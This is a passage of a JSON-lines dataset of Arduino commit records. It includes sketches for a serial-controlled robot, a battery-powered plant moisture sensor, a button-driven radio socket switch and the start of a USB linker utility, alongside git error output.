configuration\n\/\/ line up with function names like forward. Value can be 1 or -1\nconst int offsetA = 1;\nconst int offsetB = 1;\n\n\/\/ Pins for all inputs, keep in mind the PWM defines must be on PWM pins\n#define AIN1 2\n#define BIN1 7\n#define AIN2 4\n#define BIN2 8\n#define PWMA 5\n#define PWMB 6\n#define STBY 9\n\n\/\/ Pins for RPM\n#define encoderLeft A0 \/\/ motor left encoder\n#define encoderRight A1 \/\/ motor right encoder \n\nMotor motor1(AIN1, AIN2, PWMA, offsetA, STBY);\nMotor motor2(BIN1, BIN2, PWMB, offsetB, STBY);\n\nUltrasonic ultrasonic(12, 13);\n\nClamp clamp;\nstatic int serialMsg = 0;\nint pinza = 0;\n\n\/\/ vars for setup encoders for angles\nint previousDigitalLeft = digitalRead(encoderLeft);\nint previousDigitalRight = digitalRead(encoderRight);\nint digitalLeft;\nint digitalRight;\n\/\/ vars for angle events\nint encoderCountLeft = 0;\nint encoderCountRight = 0;\nint speedLeft = 0;\nint speedRight = 0;\nint pointsLeft = 0;\nint pointsRight = 0;\n\/\/ end of vars of angles\nString report;\n\nvoid setup() {\n Serial.begin(38400);\n clamp.attach(10);\n motor1.brake();\n motor2.brake();\n Serial.print(\"$I,OK\");\n}\n\nvoid loop() {\n updateEventListener();\n updateAngle();\n updateClamp();\n}\n\nvoid updateAngle(){\n digitalLeft = digitalRead(encoderLeft);\n if (digitalLeft != previousDigitalLeft) {\n encoderCountLeft++;\n previousDigitalLeft = digitalLeft;\n Serial.print(\"$L,\");\n Serial.println(encoderCountLeft);\n }\n digitalRight = digitalRead(encoderRight);\n if (digitalRight != previousDigitalRight) {\n encoderCountRight++;\n previousDigitalRight = digitalRight;\n Serial.print(\"$R,\");\n Serial.println(encoderCountRight);\n }\n if (encoderCountLeft < pointsLeft) \/\/40 es\n motor1.drive(speedLeft);\n else\n motor1.brake();\n if (encoderCountRight < pointsRight) \/\/40 es\n motor2.drive(speedRight);\n else\n motor2.brake();\n}\n\nvoid updateClamp() {\n if (pinza == 0)\n clamp.setValue(100);\n else\n clamp.setValue(0);\n \/\/ clamp.setValue(1*100);\n}\n\nvoid example2() {\n motor1.drive(30, 1000);\n motor1.brake();\n motor1.drive(-30, 1000);\n motor1.brake();\n delay(1000);\n}\n\nvoid updateUltrasonic() {\n Serial.print(\"$U,\");\n Serial.println(ultrasonic.distanceRead());\n}\n\nvoid updateEventListener() {\n if (Serial.available() > 0) {\n delay(4);\n serialMsg = Serial.read(); \/\/$\n if (serialMsg == '$') {\n serialMsg = Serial.read();\n switch (serialMsg) {\n Serial.read();\n case 'A': \/\/ Angulos o avances\n encoderCountLeft = 0;\n speedLeft = Serial.parseInt() * 255\/100;\n Serial.read(); \/\/ ','\n pointsLeft = Serial.parseInt();\n encoderCountRight = 0;\n speedRight = Serial.parseInt() * 255\/100;\n Serial.read(); \/\/ ','\n pointsRight = Serial.parseInt();\n break;\n case 'P': \/\/ Pinza\n pinza = Serial.parseInt();\n break;\n case 'U': \/\/ Ultrasonic\n updateUltrasonic();\n break;\n case 'e': \/\/ Test\n break;\n default:\n Serial.print(\"No case found: '\");\n Serial.print(char(serialMsg));\n Serial.println(\"'\");\n break;\n }\n }\n } else {\n ;\/\/updateUltrasonic();\n }\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'AgenteEva\/AgenteEva.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a3ddfbf4ef6e8b41a68ee33eda2408827abec77c","subject":"Return to a common shift","message":"Return to a common shift\n","repos":"mvines\/futboard","old_file":"gen3\/gen3.ino","new_file":"gen3\/gen3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mvines\/futboard.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"874364245a7862325a5cfaf5857efd4310f3ab16","subject":"crank the current down a bit - might be better","message":"crank the current down a bit - might be better\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"_5031Test\/_5031Test.ino","new_file":"_5031Test\/_5031Test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"42c92ed18fe5270ac43c38d18f67ba4c3bd5dc03","subject":"Added required println","message":"Added required println\n","repos":"ashwinpilgaonkar\/Flick,ashwinpilgaonkar\/Flick,ashwinpilgaonkar\/Flick","old_file":"BitBangingMpu6050\/Right Hand Arduino Code.ino","new_file":"BitBangingMpu6050\/Right Hand Arduino Code.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'BitBangingMpu6050\/Right' did not match any file(s) known to git\nerror: pathspec 'Hand' did not match any file(s) known to git\nerror: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5c947caae0db33d9df60d895286806442e05d0c8","subject":"Fix merge conflicts, update log statements","message":"Fix merge conflicts, update log statements\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"427823dd7647cbcc407dd6f641e0a232301fa923","subject":"Initial version","message":"Initial version\n\nReports moisture level, battery percentage and battery voltage.\n","repos":"mfalkvidd\/arduino-plantmoisture","old_file":"moisture.ino","new_file":"moisture.ino","new_contents":"#include <SPI.h>\n#include <MySensor.h>\n\n#define round(x) ((x)>=0?(long)((x)+0.5):(long)((x)-0.5))\n\n#define CHILD_ID_MOISTURE 0\n#define CHILD_ID_BATTERY 1\n#define SENSOR_ANALOG_PIN 0\n#define SENSOR_POWER_PIN 8\n#define SLEEP_TIME 300000 \/\/ Sleep time between reads (in milliseconds)\n#define STABILIZATION_TIME 500 \/\/ Let the sensor stabilize before reading\n#define BATTERY_FULL 3700 \/\/ 3,700 millivolts\n#define BATTERY_ZERO 1700 \/\/ 1,700 millivolts\n\nMySensor gw;\nMyMessage msg(CHILD_ID_MOISTURE, V_HUM);\nMyMessage voltage_msg(CHILD_ID_BATTERY, V_VOLTAGE);\n\nvoid setup()\n{\n pinMode(SENSOR_POWER_PIN, OUTPUT);\n gw.begin();\n\n gw.sendSketchInfo(\"Plant moisture w bat\", \"1.1\");\n\n gw.present(CHILD_ID_MOISTURE, S_HUM);\n delay(250);\n gw.present(CHILD_ID_BATTERY, S_CUSTOM);\n}\n\nvoid loop()\n{\n digitalWrite(SENSOR_POWER_PIN, HIGH); \/\/ Power on the sensor\n gw.sleep(STABILIZATION_TIME);\n int moistureLevel = (1023 - analogRead(SENSOR_ANALOG_PIN)) \/ 10.23;\n digitalWrite(SENSOR_POWER_PIN, LOW);\n gw.send(msg.set(moistureLevel));\n long voltage = readVcc();\n gw.send(voltage_msg.set(voltage \/ 1000.0, 3)); \/\/ redVcc returns millivolts and set wants volts and how many decimals (3 in our case)\n gw.sendBatteryLevel(round((voltage - BATTERY_ZERO) * 100.0 \/ (BATTERY_FULL - BATTERY_ZERO)));\n gw.sleep(SLEEP_TIME);\n}\n\nlong readVcc() {\n \/\/ From http:\/\/provideyourown.com\/2012\/secret-arduino-voltmeter-measure-battery-voltage\/\n \/\/ Read 1.1V reference against AVcc\n \/\/ set the reference to Vcc and the measurement to the internal 1.1V reference\n#if defined(__AVR_ATmega32U4__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)\n ADMUX = _BV(REFS0) | _BV(MUX4) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n#elif defined (__AVR_ATtiny24__) || defined(__AVR_ATtiny44__) || defined(__AVR_ATtiny84__)\n ADMUX = _BV(MUX5) | _BV(MUX0);\n#elif defined (__AVR_ATtiny25__) || defined(__AVR_ATtiny45__) || defined(__AVR_ATtiny85__)\n ADMUX = _BV(MUX3) | _BV(MUX2);\n#else\n ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n#endif\n\n delay(2); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Start conversion\n while (bit_is_set(ADCSRA, ADSC)); \/\/ measuring\n\n uint8_t low = ADCL; \/\/ must read ADCL first - it then locks ADCH\n uint8_t high = ADCH; \/\/ unlocks both\n\n long result = (high << 8) | low;\n\n result = 1125300L \/ result; \/\/ Calculate Vcc (in mV); 1125300 = 1.1*1023*1000\n return result; \/\/ Vcc in millivolts\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'moisture.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"ee23ba0a0430c4bdee332106d609be048bf0b50e","subject":"Still working on PID.","message":"Still working on PID.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bb1bd7f7eb7c541c1ca777ee0ee55d4ba52c94a0","subject":"button press auto","message":"button press auto\n","repos":"SebastianFlo\/party-button","old_file":"buttonPressRemoteAutoClose\/buttonPressRemoteAutoClose.ino","new_file":"buttonPressRemoteAutoClose\/buttonPressRemoteAutoClose.ino","new_contents":"\nint inPin = 7; \/\/ the pin number for input (for me a push button)\nint onPinA = 8; \/\/ Pin for controlling the remote\nint offPinA = 9;\nint ledPin = 13; \n\nint current; \/\/ Current state of the button\n \/\/ (LOW is pressed b\/c i'm using the pullup resistors)\nlong millis_held; \/\/ How long the button was held (milliseconds)\nlong secs_held; \/\/ How long the button was held (seconds)\nlong prev_secs_held; \/\/ How long the button was held in the previous check\nbyte previous = HIGH;\nunsigned long firstTime; \/\/ how long since the button was first pressed \n\nvoid setup() {\n Serial.begin(9600); \/\/ Use serial for debugging\n \n pinMode(ledPin, OUTPUT);\n pinMode(onPinA, OUTPUT);\n pinMode(offPinA, OUTPUT);\n\n \n digitalWrite(onPinA, HIGH); \/\/ \n digitalWrite(offPinA, LOW); \/\/ Transistor should be low\n digitalWrite(inPin, HIGH); \/\/ \n}\n\nvoid loop() {\n current = digitalRead(inPin);\n digitalWrite(pinnum, HIGH);\n \/\/ if the button state changes to pressed, remember the start time \n if (current == LOW && previous == HIGH && (millis() - firstTime) > 200) {\n firstTime = millis();\n }\n\n millis_held = (millis() - firstTime);\n secs_held = millis_held \/ 1000;\n\n \/\/ This if statement is a basic debouncing tool, the button must be pushed for at least\n \/\/ 100 milliseconds in a row for it to be considered as a push.\n if (millis_held > 50 && secs_held < 6 ) {\n\n if (current == LOW && secs_held > prev_secs_held) {\n ledblink(1, 50, ledPin); \/\/ Each second the button is held blink the indicator led\n }\n\n \/\/ check if the button was released since we last checked\n if (current == HIGH && previous == LOW) {\n \/\/ HERE YOU WOULD ADD VARIOUS ACTIONS AND TIMES FOR YOUR OWN CODE\n \/\/ ===============================================================================\n\n \/\/ Button pressed for less than 6 seconds, turn on.\n if (secs_held < 6) {\n Serial.print(\"Short Press: \");\n Serial.print(secs_held);\n Serial.print(\" Milliseconds held: \");\n Serial.println(millis_held);\n \/\/Turn on sockets\n turnSocketsOn();\n }\n }\n \n \/\/ ===============================================================================\n } else if (secs_held >= 6) {\n \/\/ Button held for more than 6 seconds, turn off.\n Serial.print(\"Long Press: \");\n Serial.print(secs_held);\n Serial.print(\" Milliseconds held: \");\n Serial.println(millis_held);\n \/\/Turn off sockets\n turnSocketsOff();\n } \n\n previous = current;\n prev_secs_held = secs_held;\n}\n\n\/\/ Just a simple helper function to blink an led in various patterns\nvoid ledblink(int times, int lengthms, int pinnum){\n for (int x=0; x<times;x++) {\n digitalWrite(pinnum, LOW);\n delay (lengthms);\n digitalWrite(pinnum, HIGH);\n delay(lengthms);\n }\n}\n\n\/\/Function to send a radio signal to turn sockets on\nvoid turnSocketsOn() {\n \/\/ For RPi parsing\n Serial.println(\"status : 1\");\n \/\/ delay\n delay(2000);\n Serial.println(\"Turning sockets on: \");\n \/\/ turn on 3 times\n digitalWrite(onPinA, LOW);\n delay(1000);\n digitalWrite(onPinA, HIGH);\n delay(1000);\n \n digitalWrite(onPinA, LOW);\n delay(1000);\n digitalWrite(onPinA, HIGH);\n delay(1000);\n \n digitalWrite(onPinA, LOW);\n delay(1000);\n digitalWrite(onPinA, HIGH);\n Serial.println(\"Sockets on complete.\");\n \/\/ Send ON signal to PI \n}\n\/\/Function to send a radio signal to turn sockets off\nvoid turnSocketsOff() {\n \/\/ For RPi parsing\n Serial.println(\"status : 0\");\n Serial.println(\"Turning sockets off: \");\n \/\/ turn off 3 times\n digitalWrite(offPinA, HIGH);\n delay(1000);\n digitalWrite(offPinA, LOW);\n delay(1000);\n\n digitalWrite(offPinA, HIGH);\n delay(1000);\n digitalWrite(offPinA, LOW);\n delay(1000);\n\n digitalWrite(offPinA, HIGH);\n delay(1000);\n digitalWrite(offPinA, LOW);\n \n Serial.println(\"Sockets off complete. \");\n \/\/ Send OFF signal to PI\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'buttonPressRemoteAutoClose\/buttonPressRemoteAutoClose.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fcb265d05462b73dfaba76a0eeec9d0b940bdbd9","subject":"Initial commit","message":"Initial commit\n","repos":"codewithpassion\/openrov-software,codewithpassion\/openrov-software,codewithpassion\/openrov-software,codewithpassion\/openrov-software","old_file":"arduino\/ArduinoUSBLinker\/ArduinoUSBLinker.ino","new_file":"arduino\/ArduinoUSBLinker\/ArduinoUSBLinker.ino","new_contents":"\/*\nCopyright (C) 2012-2013 Chris Osgood <chris at luadev.com>\n\nThis program is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU General Public License\nversion 2 as published by the Free Software Foundation. No\nother versions are acceptable.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n02110-1301, USA.\n*\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Check for MultiWii\n#if defined(MSP_VERSION)\n #define MULTIWII\n#else\n #include <EEPROM.h>\n#endif\n\n#define AUL_SERIALRATE 19200\n\n#define AUL_MIN_BITTIME 4\n#define AUL_MAX_BITTIME 136\n#define AUL_DEFAULT_BITTIME 32\n\n#define AUL_MICROS_TO_TICKS(x) ((x) * (F_CPU \/ 1000000) \/ g_timerScale)\n#define AUL_MICROS_TO_TICKS_R(x) ((x) * g_timerScale \/ (F_CPU \/ 1000000))\n\n#if defined(__AVR_ATmega8__)\n#define AUL_SET_TIMER_MODE TCCR2 = g_timerConfig\n#else\n#define AUL_SET_TIMER_MODE TCCR2B = g_timerConfig\n#endif\n\n\/\/ Default PD2\/INT0\n#define AUL_DEFAULT_PIN 18\n\n#define AUL_BUFSIZE 300\n\n#define AUL_SERIALTIMEOUT ((F_CPU >> 7) \/ (9600 >> 4))\n\n#define AUL_PININPUT ((*g_signalDDR) &= ~(g_signalPinPortNum))\n#define AUL_PINOUTPUT ((*g_signalDDR) |= (g_signalPinPortNum))\n#define AUL_PINHIGH ((*g_signalPORT) |= (g_signalPinPortNum))\n#define AUL_PINLOW ((*g_signalPORT) &= ~(g_signalPinPortNum))\n\n#define AUL_PINREAD ((*g_signalPIN) & (g_signalPinPortNum))\n\n#define AUL_DELAYTICKS(x) \\\n TCNT2 = 0; \\\n while (TCNT2 < (x));\n\n#if defined(__AVR_ATmega8__)\n#define AUL_SYNC_PRESCALER \\\n SFIOR = (1 << PSR2); \\\n while (SFIOR & (1 << PSR2));\n#else\n#define AUL_SYNC_PRESCALER \\\n GTCCR = (1 << PSRASY); \\\n while (GTCCR & (1 << PSRASY));\n#endif\n\n\/\/ Save space on MultWii since baud rate changes are not supported and it is the\n\/\/ only thing that requires a value greater than uint8\n#if defined(MULTIWII)\n #define AUL_ASCII_INT_TYPE uint8_t\n#else\n #define AUL_ASCII_INT_TYPE uint32_t\n#endif\n\n#define AUL_EEPROM_PIN 4\n#define AUL_EEPROM_BITTIME 5\n#define AUL_EEPROM_BAUD 6\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Globals\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic uint8_t g_timerConfig;\nstatic uint16_t g_timerScale;\n\n\/\/ Approximate microseconds for each bit when sending\nstatic uint8_t g_bitTimeSend;\nstatic uint8_t g_bitTimeSendHalf;\n\n\/\/ Calculated leader timing for receive\nstatic uint8_t g_bitTime, g_shortBitTime;\n\nstatic volatile uint8_t* g_signalDDR;\nstatic volatile uint8_t* g_signalPORT;\nstatic volatile uint8_t* g_signalPIN;\nstatic int8_t g_signalPinPortNum, g_signalPinNum;\n\n#if defined(MULTIWII)\nstatic uint32_t g_baudRate = 0;\n#else\nstatic uint32_t g_baudRate = AUL_SERIALRATE;\n#endif\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ stdlib type utility functions (mostly to save space)\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ int to ASCII base 10\n\/\/ Returns the address of the null terminator\nstatic char* AUL_itoa(AUL_ASCII_INT_TYPE n, char *b)\n{\n uint8_t i = 0, s;\n \n do {\n s = n % 10;\n n = n \/ 10;\n b[i++] = '0' + s;\n } while (n > 0);\n\n b[i] = '\\0';\n \n strrev(b);\n \n return &b[i];\n}\n\n\/\/ ASCII to int base 10\nstatic AUL_ASCII_INT_TYPE AUL_atoi(const char* s)\n{\n AUL_ASCII_INT_TYPE b = 0;\n while (*s) b = (b << 3) + (b << 1) + (*s++ - '0');\n return(b);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Serial port. MultiWii helpers.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#if !defined(MULTIWII)\n\n#define AUL_SerialInit(x) Serial.begin(g_baudRate)\n#define AUL_SerialAvailable() Serial.available()\n#define AUL_SerialRead() Serial.read()\n#define AUL_SerialWrite(x) Serial.write(x)\n#define AUL_SerialWriteBuf(x,y) Serial.write(x,y)\n#define AUL_SerialWriteStr(x) Serial.write((const char*)x)\n\n#else \/\/ MULTIWII\n\nstatic volatile uint8_t* g_serialUCSRA;\nstatic volatile uint8_t* g_serialUDR;\nstatic uint8_t g_serialRXC, g_serialUDRE;\n\nstatic void AUL_SerialInit(uint8_t port)\n{\n #define AUL_INIT_PORT(x) \\\n UCSR##x##C = (1 << UCSZ##x##1) | (1 << UCSZ##x##0); \\\n UCSR##x##B = (1 << RXEN##x) | (1 << TXEN##x); \\\n g_serialUCSRA = &UCSR##x##A; \\\n g_serialUDR = &UDR##x; \\\n g_serialRXC = (1 << RXC##x); \\\n g_serialUDRE = (1 << UDRE##x);\n \n switch (port)\n {\n case 0:\n AUL_INIT_PORT(0)\n break;\n #if defined(UBRR1H)\n case 1:\n AUL_INIT_PORT(1)\n break;\n #endif\n #if defined(UBRR2H)\n case 2:\n AUL_INIT_PORT(2)\n break;\n #endif\n #if defined(UBRR3H)\n case 3:\n AUL_INIT_PORT(3)\n break;\n #endif\n #if defined(UBRR4H)\n case 4:\n AUL_INIT_PORT(4)\n break;\n #endif\n default:\n break;\n }\n}\n\n#define AUL_SerialAvailable() \\\n ((*g_serialUCSRA) & g_serialRXC)\n\n#define AUL_SerialRead() \\\n (*g_serialUDR)\n\n#define AUL_SerialWrite(x) \\\n { while (!((*g_serialUCSRA) & g_serialUDRE)); (*g_serialUDR) = (x); }\n\nstatic void AUL_SerialWriteBuf(const uint8_t* b, int16_t len)\n{\n int16_t i;\n for (i = 0; i < len; i++)\n AUL_SerialWrite(b[i]);\n}\n\nstatic void AUL_SerialWriteStr(const char* b)\n{\n int16_t i;\n for (i = 0; b[i] != '\\0'; i++)\n AUL_SerialWrite(b[i]);\n}\n\n#endif \/\/ MULTIWII\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Signal pin\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Clear all timers and PWM settings\nstatic void DisableAllTimers()\n{\n #define AUL_RESET_PORT(x) \\\n TCCR##x##B = 0; \\\n TCCR##x##A = 0;\n\n \/\/ For mega8 and similar\n #if defined(TCCR0)\n TCCR0 = 0;\n #endif\n #if defined(TCCR1)\n TCCR1 = 0;\n #endif\n #if defined(TCCR2)\n TCCR2 = 0;\n #endif\n \n #if defined(TCCR0B)\n AUL_RESET_PORT(0)\n #endif\n #if defined(TCCR1B)\n AUL_RESET_PORT(1)\n #endif\n #if defined(TCCR2B)\n AUL_RESET_PORT(2)\n #endif\n #if defined(TCCR3B)\n AUL_RESET_PORT(3)\n #endif\n #if defined(TCCR4B)\n AUL_RESET_PORT(4)\n #endif\n #if defined(TCCR5B)\n AUL_RESET_PORT(5)\n #endif\n #if defined(TCCR6B)\n AUL_RESET_PORT(6)\n #endif\n}\n\nstatic void SignalPinStatus(char* buf)\n{\n #define AUL_WRITE_PORT_INFO(x) \\\n *pos++ = #x[0]; \\\n pos = AUL_itoa(pincnt, pos); \\\n *pos++ = ':'; \\\n pincnt += 8;\n\n char* pos = buf;\n int8_t pincnt = 0;\n\n pos[0] = 'P';\n pos[1] = 'I';\n pos[2] = 'N';\n pos[3] = 'S';\n pos[4] = ':';\n pos += 5;\n \n #if defined(PORTB)\n AUL_WRITE_PORT_INFO(B)\n #endif\n #if defined(PORTC)\n AUL_WRITE_PORT_INFO(C)\n #endif\n #if defined(PORTD)\n AUL_WRITE_PORT_INFO(D)\n #endif\n #if defined(PORTE)\n AUL_WRITE_PORT_INFO(E)\n #endif\n #if defined(PORTF)\n AUL_WRITE_PORT_INFO(F)\n #endif\n #if defined(PORTG)\n AUL_WRITE_PORT_INFO(G)\n #endif\n #if defined(PORTH)\n AUL_WRITE_PORT_INFO(H)\n #endif\n #if defined(PORTI)\n AUL_WRITE_PORT_INFO(I)\n #endif\n #if defined(PORTJ)\n AUL_WRITE_PORT_INFO(J)\n #endif\n #if defined(PORTK)\n AUL_WRITE_PORT_INFO(K)\n #endif\n #if defined(PORTL)\n AUL_WRITE_PORT_INFO(L)\n #endif\n \n #if defined(PORTA)\n AUL_WRITE_PORT_INFO(A)\n #endif\n \n *pos = '\\0';\n}\n\nstatic void SignalPinInit(int8_t pin)\n{\n #define AUL_SETUP_PORT(x) \\\n if (pin < (pincnt += 8)) \\\n { \\\n g_signalDDR = &DDR##x; \\\n g_signalPORT = &PORT##x; \\\n g_signalPIN = &PIN##x; \\\n g_signalPinPortNum = (1 << (pin - (pincnt - 8))); \\\n goto finished; \\\n }\n \n int8_t pincnt = 0;\n \n g_signalPinNum = pin;\n\n #if defined(PORTB)\n AUL_SETUP_PORT(B);\n #endif\n #if defined(PORTC)\n AUL_SETUP_PORT(C);\n #endif\n #if defined(PORTD)\n AUL_SETUP_PORT(D);\n #endif\n #if defined(PORTE)\n AUL_SETUP_PORT(E);\n #endif\n #if defined(PORTF)\n AUL_SETUP_PORT(F);\n #endif\n #if defined(PORTG)\n AUL_SETUP_PORT(G);\n #endif\n #if defined(PORTH)\n AUL_SETUP_PORT(H);\n #endif\n #if defined(PORTI)\n AUL_SETUP_PORT(I);\n #endif\n #if defined(PORTJ)\n AUL_SETUP_PORT(J);\n #endif\n #if defined(PORTK)\n AUL_SETUP_PORT(K);\n #endif\n #if defined(PORTL)\n AUL_SETUP_PORT(L);\n #endif\n \n #if defined(PORTA)\n AUL_SETUP_PORT(A);\n #endif\n\nfinished: \n AUL_PINHIGH; \/\/ Enable pull-up\n AUL_PININPUT;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SENDING on signal pin\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic void SendByte(uint8_t b)\n{\n uint8_t i;\n for (i = 1; i; i <<= 1)\n {\n if (b & i)\n {\n AUL_PINHIGH;\n AUL_DELAYTICKS(g_bitTimeSend);\n AUL_PINLOW;\n AUL_DELAYTICKS(g_bitTimeSend);\n }\n else\n {\n AUL_PINHIGH;\n AUL_DELAYTICKS(g_bitTimeSendHalf);\n AUL_PINLOW;\n AUL_DELAYTICKS(g_bitTimeSendHalf);\n AUL_PINHIGH;\n AUL_DELAYTICKS(g_bitTimeSendHalf);\n AUL_PINLOW;\n AUL_DELAYTICKS(g_bitTimeSendHalf);\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ RECEIVE on signal pin\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#define AUL_SPINPINHIGH \\\n TCNT2 = 0; \\\n while (AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }\n\n#define AUL_SPINPINLOW \\\n TCNT2 = 0; \\\n while (!AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }\n\n#define 